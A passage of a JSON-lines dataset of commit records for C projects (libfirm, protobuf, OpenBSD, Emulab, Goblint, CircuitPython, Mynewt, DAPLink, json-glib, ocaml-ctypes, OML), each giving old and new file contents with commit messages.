Copyright (C) 2012 University of Karlsruhe.\n *\/\n\n\/**\n * @file\n * @brief       Implements several optimizations for IA32.\n * @author      Christian Wuerdig\n *\/\n#ifndef FIRM_BE_IA32_IA32_OPTIMIZE_H\n#define FIRM_BE_IA32_IA32_OPTIMIZE_H\n\n#include \"firm_types.h\"\n\n\/**\n * Performs conv and address mode optimizations.\n * @param cg  The ia32 codegenerator object\n *\/\nvoid ia32_optimize_graph(ir_graph *irg);\n\n\/**\n * Performs Peephole Optimizations an a graph.\n *\n * @param irg   the graph\n * @param cg    the code generator object\n *\/\nvoid ia32_peephole_optimization(ir_graph *irg);\n\n\/** Initialize the ia32 address mode optimizer. *\/\nvoid ia32_init_optimize(void);\n\n#endif\n","subject":"Remove stale declaration of 'ia32_pre_transform_phase()'.","message":"ia32: Remove stale declaration of 'ia32_pre_transform_phase()'.\n\nThis function was deleted in 2007!\n","lang":"C","license":"lgpl-2.1","repos":"jonashaag\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm"}
{"commit":"4770277ec7a285f0f96e9a88af9d4992b7f4b50b","old_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","new_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","old_contents":"","new_contents":"\/\/ Protocol Buffers - Google's data interchange format\n\/\/ Copyright 2012 Google Inc.  All rights reserved.\n\/\/ http:\/\/code.google.com\/p\/protobuf\/\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/     * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/     * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ This file is an internal atomic implementation, use atomicops.h instead.\n\n#ifndef GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n#define GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n\nnamespace google {\nnamespace protobuf {\nnamespace internal {\n\ninline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr,\n                                         Atomic32 old_value,\n                                         Atomic32 new_value) {\n  return __sync_val_compare_and_swap(ptr, old_value, new_value);\n}\n\ninline void MemoryBarrier() {\n  __sync_synchronize();\n}\n\ninline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr,\n                                       Atomic32 old_value,\n                                       Atomic32 new_value) {\n  Atomic32 ret = NoBarrier_CompareAndSwap(ptr, old_value, new_value);\n  MemoryBarrier();\n  return ret;\n}\n\ninline void Release_Store(volatile Atomic32* ptr, Atomic32 value) {\n  MemoryBarrier();\n  *ptr = value;\n}\n\ninline Atomic32 Acquire_Load(volatile const Atomic32* ptr) {\n  Atomic32 value = *ptr;\n  MemoryBarrier();\n  return value;\n}\n\n}  \/\/ namespace internal\n}  \/\/ namespace protobuf\n}  \/\/ namespace google\n\n#endif  \/\/ GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n","subject":"Add the missing PNaCl atomicops support.","message":"Add the missing PNaCl atomicops support.\n","lang":"C","license":"bsd-3-clause","repos":"orangeholic\/protobuf,google\/protobuf,rzagabe\/protobuf,Livefyre\/protobuf,rzagabe\/protobuf,google\/protobuf,google\/protobuf,wang-xinhong\/protobuf,Livefyre\/protobuf,google\/protobuf,rzagabe\/protobuf,google\/protobuf,google\/protobuf,Livefyre\/protobuf,wang-xinhong\/protobuf,google\/protobuf,orangeholic\/protobuf,google\/protobuf,orangeholic\/protobuf,rzagabe\/protobuf,rzagabe\/protobuf,Livefyre\/protobuf,Livefyre\/protobuf,google\/protobuf,google\/protobuf,wang-xinhong\/protobuf,wang-xinhong\/protobuf,orangeholic\/protobuf,google\/protobuf"}
{"commit":"0fe071307ac99f08e8160df36413065a3bafe1a6","old_file":"arch\/sparc\/include\/atomic.h","new_file":"arch\/sparc\/include\/atomic.h","old_contents":"\/*\t$OpenBSD: atomic.h,v 1.2 2007\/02\/19 17:18:43 deraadt Exp $\t*\/\n\n\/* Public Domain *\/\n\n#ifndef __SPARC_ATOMIC_H__\n#define __SPARC_ATOMIC_H__\n\n#if defined(_KERNEL)\n\nstatic __inline void\natomic_setbits_int(__volatile unsigned int *uip, unsigned int v)\n{\n\t*uip |= v;\n}\n\nstatic __inline void\natomic_clearbits_int(__volatile unsigned int *uip, unsigned int v)\n{\n\t*uip &= ~v;\n}\n\n#endif \/* defined(_KERNEL) *\/\n#endif \/* __SPARC_ATOMIC_H__ *\/\n","new_contents":"\/*\t$OpenBSD: atomic.h,v 1.3 2007\/04\/27 19:22:47 miod Exp $\t*\/\n\n\/* Public Domain *\/\n\n#ifndef __SPARC_ATOMIC_H__\n#define __SPARC_ATOMIC_H__\n\n#if defined(_KERNEL)\n\nstatic __inline void\natomic_setbits_int(__volatile unsigned int *uip, unsigned int v)\n{\n\tint psr;\n\n\tpsr = getpsr();\n\tsetpsr(psr | PSR_PIL);\n\t*uip |= v;\n\tsetpsr(psr);\n}\n\nstatic __inline void\natomic_clearbits_int(__volatile unsigned int *uip, unsigned int v)\n{\n\tint psr;\n\n\tpsr = getpsr();\n\tsetpsr(psr | PSR_PIL);\n\t*uip &= ~v;\n\tsetpsr(psr);\n}\n\n#endif \/* defined(_KERNEL) *\/\n#endif \/* __SPARC_ATOMIC_H__ *\/\n","subject":"Disable interrupts around bit operations; ok deraadt@","message":"Disable interrupts around bit operations; ok deraadt@\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"060812dc5b6fe3c2f0005da3559af6694153fae5","old_file":"base\/macros.h","new_file":"base\/macros.h","old_contents":"\/\/ Please don't add a copyright notice to this file. It contains source code\n\/\/ owned by other copyright holders (used under license).\n\n#ifndef BASE_MACROS_H_\n#define BASE_MACROS_H_\n\n\/\/ From Google C++ Style Guide\n\/\/ http:\/\/google-styleguide.googlecode.com\/svn\/trunk\/cppguide.xml\n\/\/ Accessed February 8, 2013\n\/\/\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n\/\/\n\/\/ TODO(dss): Use C++11's \"= delete\" syntax to suppress the creation of default\n\/\/ class members.\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n\/\/ Example from the Google C++ Style Guide:\n\/\/\n\/\/ class Foo {\n\/\/  public:\n\/\/   Foo(int f);\n\/\/   ~Foo();\n\/\/\n\/\/  private:\n\/\/   DISALLOW_COPY_AND_ASSIGN(Foo);\n\/\/ };\n\n\/\/ A macro to compute the number of elements in a statically allocated array.\n#define ARRAYSIZE(a) (sizeof(a) \/ sizeof((a)[0]))\n\n#endif  \/\/ BASE_MACROS_H_\n","new_contents":"\/\/ Please don't add a copyright notice to this file. It contains source code\n\/\/ owned by other copyright holders (used under license).\n\n#ifndef BASE_MACROS_H_\n#define BASE_MACROS_H_\n\n\/\/ A macro to disallow the copy constructor and operator= functions.\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&) = delete; \\\n  void operator=(const TypeName&) = delete\n\n\/\/ A macro to compute the number of elements in a statically allocated array.\n#define ARRAYSIZE(a) (sizeof(a) \/ sizeof((a)[0]))\n\n#endif  \/\/ BASE_MACROS_H_\n","subject":"Modify the DISALLOW_COPY_AND_ASSIGN macro to use C++11's '= delete' syntax.","message":"Modify the DISALLOW_COPY_AND_ASSIGN macro to use C++11's '= delete' syntax.\n","lang":"C","license":"apache-2.0","repos":"snyderek\/floating_temple,snyderek\/floating_temple,snyderek\/floating_temple"}
{"commit":"ebdb000f40a6a2a8f560314e15616000a3c56b7a","old_file":"tmcd\/decls.h","new_file":"tmcd\/decls.h","old_contents":"\/*\n * EMULAB-COPYRIGHT\n * Copyright (c) 2000-2004 University of Utah and the Flux Group.\n * All rights reserved.\n *\/\n\n#define TBSERVER_PORT\t\t7777\n#define TBSERVER_PORT2\t\t14447\n#define MYBUFSIZE\t\t2048\n#define BOSSNODE_FILENAME\t\"bossnode\"\n\n\/*\n * As the tmcd changes, incompatable changes with older version of\n * the software cause problems. Starting with version 3, the client\n * will tell tmcd what version they are. If no version is included,\n * assume its DEFAULT_VERSION.\n *\n * Be sure to update the versions as the TMCD changes. Both the\n * tmcc and tmcd have CURRENT_VERSION compiled in, so be sure to\n * install new versions of each binary when the current version\n * changes. libsetup.pm module also encodes a current version, so be\n * sure to change it there too!\n *\n * Note, this is assumed to be an integer. No need for 3.23.479 ...\n * NB: See ron\/libsetup.pm. That is version 4! I'll merge that in. \n *\/\n#define DEFAULT_VERSION\t\t2\n#define CURRENT_VERSION\t\t17\n","new_contents":"\/*\n * EMULAB-COPYRIGHT\n * Copyright (c) 2000-2004 University of Utah and the Flux Group.\n * All rights reserved.\n *\/\n\n#define TBSERVER_PORT\t\t7777\n#define TBSERVER_PORT2\t\t14447\n#define MYBUFSIZE\t\t2048\n#define BOSSNODE_FILENAME\t\"bossnode\"\n\n\/*\n * As the tmcd changes, incompatable changes with older version of\n * the software cause problems. Starting with version 3, the client\n * will tell tmcd what version they are. If no version is included,\n * assume its DEFAULT_VERSION.\n *\n * Be sure to update the versions as the TMCD changes. Both the\n * tmcc and tmcd have CURRENT_VERSION compiled in, so be sure to\n * install new versions of each binary when the current version\n * changes. libsetup.pm module also encodes a current version, so be\n * sure to change it there too!\n *\n * Note, this is assumed to be an integer. No need for 3.23.479 ...\n * NB: See ron\/libsetup.pm. That is version 4! I'll merge that in. \n *\/\n#define DEFAULT_VERSION\t\t2\n#define CURRENT_VERSION\t\t18\n","subject":"Update current version 18. Described in tmcd\/tmcd.c commit 1.232.","message":"Update current version 18. Described in tmcd\/tmcd.c commit 1.232.\n","lang":"C","license":"agpl-3.0","repos":"nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome"}
{"commit":"2c9d05ccc2de24724c90cea330cc607bc2f4e1e7","old_file":"tests\/regression\/01-cpa\/72-library-function-pointer.c","new_file":"tests\/regression\/01-cpa\/72-library-function-pointer.c","old_contents":"","new_contents":"#include <fcntl.h>\n#include <unistd.h>\n\ntypedef void (*fnct_ptr)(void);\ntypedef int (*open_t)(const char*,int,int);\ntypedef int (*ftruncate_t)(int,off_t);\n\n\/\/ Goblint used to crash on this example because the number of supplied arguments for myopen is bigger than\n\/\/ than the expected number of arguments for the library function descriptior of ftruncate.\n\/\/  -- \"open\" expects 3 arguments, while \"ftruncate\" expects only 2.\nint main(){\n    fnct_ptr ptr;\n    int top;\n\n    if (top){\n        ptr = &open;\n    } else {\n        ptr = &ftruncate;\n    }\n\n    if (top) {\n        \/\/ Some (nonsensical, but compiling) call to open\n        open_t myopen;\n        myopen = (open_t) ptr;\n        myopen(\"some\/path\", O_CREAT, 0);\n    } else {\n        \/\/ Some (nonsensical, but compiling) call to ftruncate\n        ftruncate_t myftruncate;\n        myftruncate = (ftruncate_t) ptr;\n        myftruncate(0, 100);\n    }\n    return 0;\n}\n","subject":"Add test case revealing crash of Goblint due to call of library function via function pointer","message":"Add test case revealing crash of Goblint due to call of library function via function pointer\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"688f0e388bbb0ae4420c8e3145e83cb15d9b3829","old_file":"ports\/atmel-samd\/boards\/arduino_mkr1300\/mpconfigboard.h","new_file":"ports\/atmel-samd\/boards\/arduino_mkr1300\/mpconfigboard.h","old_contents":"#define MICROPY_HW_BOARD_NAME \"Arduino MKR1300\"\n#define MICROPY_HW_MCU_NAME \"samd21g18\"\n\n#define MICROPY_PORT_A        (PORT_PA24 | PORT_PA25)\n#define MICROPY_PORT_B        (0)\n#define MICROPY_PORT_C        (0)\n\n#include \"internal_flash.h\"\n\n#define CIRCUITPY_INTERNAL_NVM_SIZE 0\n\n#define BOARD_FLASH_SIZE (0x00040000 - 0x2000 - 0x010000)\n\n#define DEFAULT_I2C_BUS_SCL (&pin_PA09)\n#define DEFAULT_I2C_BUS_SDA (&pin_PA08)\n\n#define DEFAULT_SPI_BUS_SCK (&pin_PA13)\n#define DEFAULT_SPI_BUS_MOSI (&pin_PA12)\n#define DEFAULT_SPI_BUS_MISO (&pin_PA15)\n\n#define DEFAULT_UART_BUS_RX (&pin_PB23)\n#define DEFAULT_UART_BUS_TX (&pin_PB22)\n\n\/\/ USB is always used internally so skip the pin objects for it.\n#define IGNORE_PIN_PA24     1\n#define IGNORE_PIN_PA25     1\n","new_contents":"#define MICROPY_HW_BOARD_NAME \"Arduino MKR1300\"\n#define MICROPY_HW_MCU_NAME \"samd21g18\"\n\n#define MICROPY_PORT_A        (0)\n#define MICROPY_PORT_B        (0)\n#define MICROPY_PORT_C        (0)\n\n#define CIRCUITPY_INTERNAL_NVM_SIZE 0\n\n#define BOARD_FLASH_SIZE (0x00040000 - 0x2000 - 0x010000)\n\n#define DEFAULT_I2C_BUS_SCL (&pin_PA09)\n#define DEFAULT_I2C_BUS_SDA (&pin_PA08)\n\n#define DEFAULT_SPI_BUS_SCK (&pin_PA13)\n#define DEFAULT_SPI_BUS_MOSI (&pin_PA12)\n#define DEFAULT_SPI_BUS_MISO (&pin_PA15)\n\n#define DEFAULT_UART_BUS_RX (&pin_PB23)\n#define DEFAULT_UART_BUS_TX (&pin_PB22)\n\n\/\/ USB is always used internally so skip the pin objects for it.\n#define IGNORE_PIN_PA24     1\n#define IGNORE_PIN_PA25     1\n","subject":"Update MKR1300 board definition too","message":"Update MKR1300 board definition too\n","lang":"C","license":"mit","repos":"adafruit\/micropython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/micropython,adafruit\/circuitpython"}
{"commit":"4326070fe4b5f9f92c6dca263b9cfb53236537c8","old_file":"fs\/fs\/src\/fs_mkdir.c","new_file":"fs\/fs\/src\/fs_mkdir.c","old_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n * \n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n#include <fs\/fs.h>\n#include <fs\/fs_if.h>\n\n#include \"fs_priv.h\"\n\nint\nfs_rename(const char *from, const char *to)\n{\n    struct fs_ops *fops = safe_fs_ops_for(\"fatfs\");\n    return fops->f_rename(from, to);\n}\n\nint\nfs_mkdir(const char *path)\n{\n    struct fs_ops *fops = safe_fs_ops_for(\"fatfs\");\n    return fops->f_mkdir(path);\n}\n","new_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n * \n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n#include <fs\/fs.h>\n#include <fs\/fs_if.h>\n\n#include \"fs_priv.h\"\n\nstruct fs_ops *fops_from_filename(const char *);\n\nint\nfs_rename(const char *from, const char *to)\n{\n    struct fs_ops *fops = fops_from_filename(from);\n    return fops->f_rename(from, to);\n}\n\nint\nfs_mkdir(const char *path)\n{\n    struct fs_ops *fops = fops_from_filename(path);\n    return fops->f_mkdir(path);\n}\n","subject":"Update for compatibility with multiple FS","message":"Update for compatibility with multiple FS\n","lang":"C","license":"apache-2.0","repos":"mlaz\/mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,wes3\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,wes3\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,mlaz\/mynewt-core,IMGJulian\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core"}
{"commit":"35297cc39022d1e00ba0465e9346308fff79c856","old_file":"source\/common\/hal\/cortex_m.h","new_file":"source\/common\/hal\/cortex_m.h","old_contents":"","new_contents":"\/* CMSIS-DAP Interface Firmware\n * Copyright (c) 2009-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef CORTEX_M_H\n#define CORTEX_M_H\n\n#include <stdint.h>\n\ntypedef int cortex_int_state_t;\n\n__attribute__((always_inline))\nstatic cortex_int_state_t cortex_int_get_and_disable(void)\n{\n    cortex_int_state_t state;\n    state = __disable_irq();\n    return state;\n}\n\n__attribute__((always_inline))\nstatic void cortex_int_restore(cortex_int_state_t state)\n{\n    if (!state) {\n        __enable_irq();\n    }\n}\n\n#endif\n","subject":"Add functions to disable and restore interrupts","message":"Add functions to disable and restore interrupts\n\nAdd the two functions cortex_int_get_and_disable and\ncortex_int_restore.  This allows interrupts to be disabled globally.\n","lang":"C","license":"apache-2.0","repos":"sg-\/DAPLink,google\/DAPLink-port,google\/DAPLink-port,google\/DAPLink-port,sg-\/DAPLink,sg-\/DAPLink,google\/DAPLink-port"}
{"commit":"b0daf7e3a2529dd9950d77a96a10233d68778f32","old_file":"json-glib\/json-glib.h","new_file":"json-glib\/json-glib.h","old_contents":"#ifndef __JSON_GLIB_H__\n#define __JSON_GLIB_H__\n\n#include <json-glib\/json-types.h>\n#include <json-glib\/json-scanner.h>\n#include <json-glib\/json-generator.h>\n#include <json-glib\/json-parser.h>\n#include <json-glib\/json-version.h>\n\n#endif \/* __JSON_GLIB_H__ *\/\n","new_contents":"#ifndef __JSON_GLIB_H__\n#define __JSON_GLIB_H__\n\n#include <json-glib\/json-types.h>\n#include <json-glib\/json-scanner.h>\n#include <json-glib\/json-generator.h>\n#include <json-glib\/json-parser.h>\n#include <json-glib\/json-version.h>\n#include <json-glib\/json-enum-types.h>\n\n#endif \/* __JSON_GLIB_H__ *\/\n","subject":"Include the newly added json-enum-types.h header","message":"Include the newly added json-enum-types.h header\n\nWhen including json-glib\/json-glib.h we get everything json-glib\nexpose as a public symbol.\n","lang":"C","license":"lgpl-2.1","repos":"frida\/json-glib,GNOME\/json-glib,robtaylor\/json-glib-gvariant,oerdnj\/json-glib,ebassi\/json-glib,robtaylor\/json-glib-gvariant,frida\/json-glib,GNOME\/json-glib,Distrotech\/json-glib,oerdnj\/json-glib,oerdnj\/json-glib,Distrotech\/json-glib,brauliobo\/json-glib,brauliobo\/json-glib,oerdnj\/json-glib,brauliobo\/json-glib,ebassi\/json-glib,Distrotech\/json-glib,ebassi\/json-glib"}
{"commit":"a827c1facd4eba0f308796e9cda7a8815c06c7f8","old_file":"3RVX\/SettingsDefaults.h","new_file":"3RVX\/SettingsDefaults.h","old_contents":"#pragma once\n\n#include \"MeterWnd\/Animations\/AnimationTypes.h\"\n#include \"Settings.h\"\n\nclass SettingsDefaults {\npublic:\n    \/* Default settings *\/\n    static const bool OnTop = true;\n    static const AnimationTypes::HideAnimation DefaultHideAnim\n        = AnimationTypes::Fade;\n    static const bool HideFullscreen = false;\n    static const bool HideDirectX = false;\n    static const int HideSpeed = 765;\n    static const int HideTime = 800;\n    static constexpr const float VolumeLimit = 1.0f;\n    static const bool NotifyIcon = true;\n    static const bool ShowOnStartup = true;\n    static const bool SoundsEnabled = true;\n    static const int OSDOffset = 140;\n    static const Settings::OSDPos OSDPosition = Settings::OSDPos::Bottom;\n    static const bool AutoUpdate = false;\n    static const bool MuteLock = false;\n    static const bool SubscribeVolumeEvents = true;\n    static const bool SubscribeEjectEvents = true;\n\n    static const bool VolumeOSDEnabled = true;\n    static const bool EjectOSDEnabled = true;\n    static const bool BrightnessOSDEnabled = true;\n    static const bool KeyboardOSDEnabled = false;\n};","new_contents":"#pragma once\n\n#include \"MeterWnd\/Animations\/AnimationTypes.h\"\n#include \"Settings.h\"\n\nclass SettingsDefaults {\npublic:\n    \/* String Constants*\/\n    static constexpr const wchar_t *Language = L\"English\";\n    static constexpr const wchar_t *Skin = L\"Classic\";\n    static constexpr const wchar_t *MainAppName = L\"3RVX.exe\";\n    static constexpr const wchar_t *SettingsAppName = L\"Settings.exe\";\n    static constexpr const wchar_t *SettingsFileName = L\"Settings.xml\";\n    static constexpr const wchar_t *LanguageDirName = L\"Languages\";\n    static constexpr const wchar_t *SkinDirName = L\"Skins\";\n    static constexpr const wchar_t *SkinFileName = L\"Skin.xml\";\n\n    \/* OSDs *\/\n    static const bool VolumeOSDEnabled = true;\n    static const bool EjectOSDEnabled = true;\n    static const bool BrightnessOSDEnabled = true;\n    static const bool KeyboardOSDEnabled = false;\n\n    static const bool OnTop = true;\n    static const bool HideFullscreen = false;\n    static const bool HideDirectX = false;\n    static const AnimationTypes::HideAnimation DefaultHideAnim\n        = AnimationTypes::Fade;\n    static const int HideSpeed = 765;\n    static const int HideTime = 800;\n    static constexpr const float VolumeLimit = 1.0f;\n    static const bool NotifyIcon = true;\n    static const bool ShowOnStartup = true;\n    static const bool SoundsEnabled = true;\n    static const int OSDOffset = 140;\n    static const Settings::OSDPos OSDPosition = Settings::OSDPos::Bottom;\n    static const bool AutoUpdate = false;\n    static const bool MuteLock = false;\n    static const bool SubscribeVolumeEvents = true;\n    static const bool SubscribeEjectEvents = true;\n\n};","subject":"Add string constants and reorganize defaults","message":"Add string constants and reorganize defaults\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"3d5c1b923efb1e93a6bae83bcce6f57fd3e03bf8","old_file":"src\/cstubs\/cstubs_internals.h","new_file":"src\/cstubs\/cstubs_internals.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2014 Jeremy Yallop.\n *\n * This file is distributed under the terms of the MIT License.\n * See the file LICENSE for details.\n *\/\n\n#ifndef CSTUBS_INTERNALS_H\n#define CSTUBS_INTERNALS_H\n\n\/* Types and functions used by generated C code. *\/\n\n#include \"ctypes\/primitives.h\"\n#include \"ctypes\/complex_stubs.h\"\n#include \"ctypes\/raw_pointer.h\"\n#include \"ctypes\/managed_buffer_stubs.h\"\n\n#endif \/* CSTUBS_INTERNALS_H *\/\n","subject":"Add a single header file with everything needed by generated stubs.","message":"Add a single header file with everything needed by generated stubs.\n","lang":"C","license":"mit","repos":"sjfloat\/ocaml-ctypes,whitequark\/ocaml-ctypes,ocamllabs\/ocaml-ctypes,dsheets\/ocaml-ctypes,yallop\/ocaml-ctypes,whitequark\/ocaml-ctypes,fdopen\/ocaml-ctypes,dsheets\/ocaml-ctypes,fdopen\/ocaml-ctypes,ocamllabs\/ocaml-ctypes,fdopen\/ocaml-ctypes,sjfloat\/ocaml-ctypes,yallop\/ocaml-ctypes,dsheets\/ocaml-ctypes,sjfloat\/ocaml-ctypes,whitequark\/ocaml-ctypes"}
{"commit":"1bf082ea8864b04f6bb15889fba66e092fd6b2f8","old_file":"lib\/shared\/mem.h","new_file":"lib\/shared\/mem.h","old_contents":"#ifndef MEM_H__\n#define MEM_H__\n\n#include <stdlib.h>\n\n#include \"ocomm\/o_log.h\"\n\nvoid *xmalloc (size_t size);\nvoid *xcalloc (size_t count, size_t size);\nvoid *xrealloc (void *ptr, size_t size);\nsize_t xmalloc_usable_size(void *ptr);\nchar *xstralloc (size_t len);\nvoid *xmemdupz (const void *data, size_t len);\nchar *xstrndup (const char *str, size_t len);\nvoid xfree (void *ptr);\n\nsize_t xmembytes();\nsize_t xmemnew();\nsize_t xmemfreed();\nchar *xmemsummary ();\nvoid xmemreport (int loglevel);\n\n#endif \/* MEM_H__ *\/\n\n\/*\n Local Variables:\n mode: C\n tab-width: 2\n indent-tabs-mode: nil\n End:\n vim: sw=2:sts=2:expandtab\n*\/\n","new_contents":"#ifndef MEM_H__\n#define MEM_H__\n\n#include <stdlib.h>\n\n#include \"ocomm\/o_log.h\"\n\nvoid *xmalloc (size_t size);\nvoid *xcalloc (size_t count, size_t size);\nvoid *xrealloc (void *ptr, size_t size);\nsize_t xmalloc_usable_size(void *ptr);\nchar *xstralloc (size_t len);\nvoid *xmemdupz (const void *data, size_t len);\nchar *xstrndup (const char *str, size_t len);\nvoid xfree (void *ptr);\n\nsize_t xmembytes();\nsize_t xmemnew();\nsize_t xmemfreed();\nchar *xmemsummary ();\nvoid xmemreport (int loglevel);\n\n\/* Duplicate nil-terminated string\n *\n * \\param str string to copy in the new xchunk\n * \\return the newly allocated xchunk, or NULL\n * \\see xstrndup\n * \\see strndup(3), strlen(3)\n *\/\n#define xstrdup(str)  xstrndup((str), strlen((str)))\n\n#endif \/* MEM_H__ *\/\n\n\/*\n Local Variables:\n mode: C\n tab-width: 2\n indent-tabs-mode: nil\n End:\n vim: sw=2:sts=2:expandtab\n*\/\n","subject":"Add xstrdup as a convenience macro around xstrndup","message":"Add xstrdup as a convenience macro around xstrndup\n\nSigned-off-by: Olivier Mehani <b6547e8761a9172c977da5c389270d45960e4aa0@ssji.net>\n","lang":"C","license":"mit","repos":"alco90\/soml,mytestbed\/oml,lees0414\/EUproject,mytestbed\/oml,mytestbed\/oml,lees0414\/EUproject,lees0414\/EUproject,mytestbed\/oml,mytestbed\/oml,alco90\/soml,lees0414\/EUproject,alco90\/soml,lees0414\/EUproject,alco90\/soml,alco90\/soml"}
